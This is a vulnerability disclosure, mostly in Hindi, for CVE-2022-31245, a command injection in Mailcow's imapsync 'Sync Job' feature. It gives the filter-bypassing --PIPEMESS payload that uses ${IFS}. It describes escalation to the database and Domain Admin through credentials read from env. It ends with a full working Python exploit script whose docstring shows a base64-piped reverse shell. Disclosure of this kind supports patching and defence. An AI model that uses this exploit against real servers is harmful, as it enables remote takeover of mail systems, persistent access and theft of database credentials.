
CVE-2022-31245: Mailcow के लिए RCE और डोमेन एडमिन विशेषाधिकार वृद्धि
CVE-2022-31245: Mailcow के लिए RCE और Domain Admin विशेषाधिकार वृद्धि। POC सहित।
रिपोर्ट और फिक्स: 2022-05
पैच किया गया संस्करण: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
गंभीरता: 3/3
प्रकार: Command Injection, RCE, Domain Takeover
प्रभावित संस्करण: कम से कम 2019 - 2022-05c
Mailcow के सभी हाल के संस्करणों में एक दोष मौजूद है, जहाँ सिस्टम का एक सामान्य उपयोगकर्ता imapsync में command injection का उपयोग करके शेल प्राप्त करने के लिए "Sync Job" सुविधा का फायदा उठा सकता है। इस भेद्यता का उपयोग करके एक हमलावर आसानी से डेटाबेस की ओर बढ़ सकता है और Mailcow में "Domain Admin" की भूमिका तक विशेषाधिकार बढ़ा सकता है।
इस एक्सप्लॉइट में डिफ़ॉल्ट रूप से persistence शामिल है क्योंकि Sync Jobs एक टाइमर पर चलते हैं।
यह एक्सप्लॉइट पूरे Mailcow इंस्टेंस से समझौता करता है। 2022-05c तक के रिलीज़ पर परीक्षण किया गया और कार्य करता है। 2022-05d में पैच किया गया।
नीचे दिए गए चरणों का उपयोग करके भेद्यता को दोहराया जा सकता है।
शेल प्राप्त करना:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
जहाँ फ़ील्ड "Custom Parameters" महत्वपूर्ण फ़ील्ड है। CMD बिना रिक्त स्थान के एक मनमाना शेल कमांड हो सकता है। अपरकेस का उपयोग करना महत्वपूर्ण है!Custom Parameters उदाहरण पेलोड:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD में स्पेस, कोट्स या स्लैश नहीं हो सकते, स्पेस के बजाय ${IFS} का उपयोग करें। --PIPEMESS के लिए अपरकेस महत्वपूर्ण है क्योंकि यह functions.mailbox.inc.php की लाइन 340 पर जाँच को बायपास करता है:
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
यह अपरकेस कमांड अभी भी काम करता है क्योंकि imapsync केस-इनसेंसिटिव है।
विशेषाधिकार वृद्धि:
env चलाएँDBUSER और DBPASS खोजेंmysql और क्रेडेंशियल्स का उपयोग करके डेटाबेस में लॉगिन करेंस्वचालित POC। कुछ मामलों में गैर-स्थानीय Mailcow इंस्टेंस के विरुद्ध चलाने के लिए POC में संशोधन की आवश्यकता हो सकती है।
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")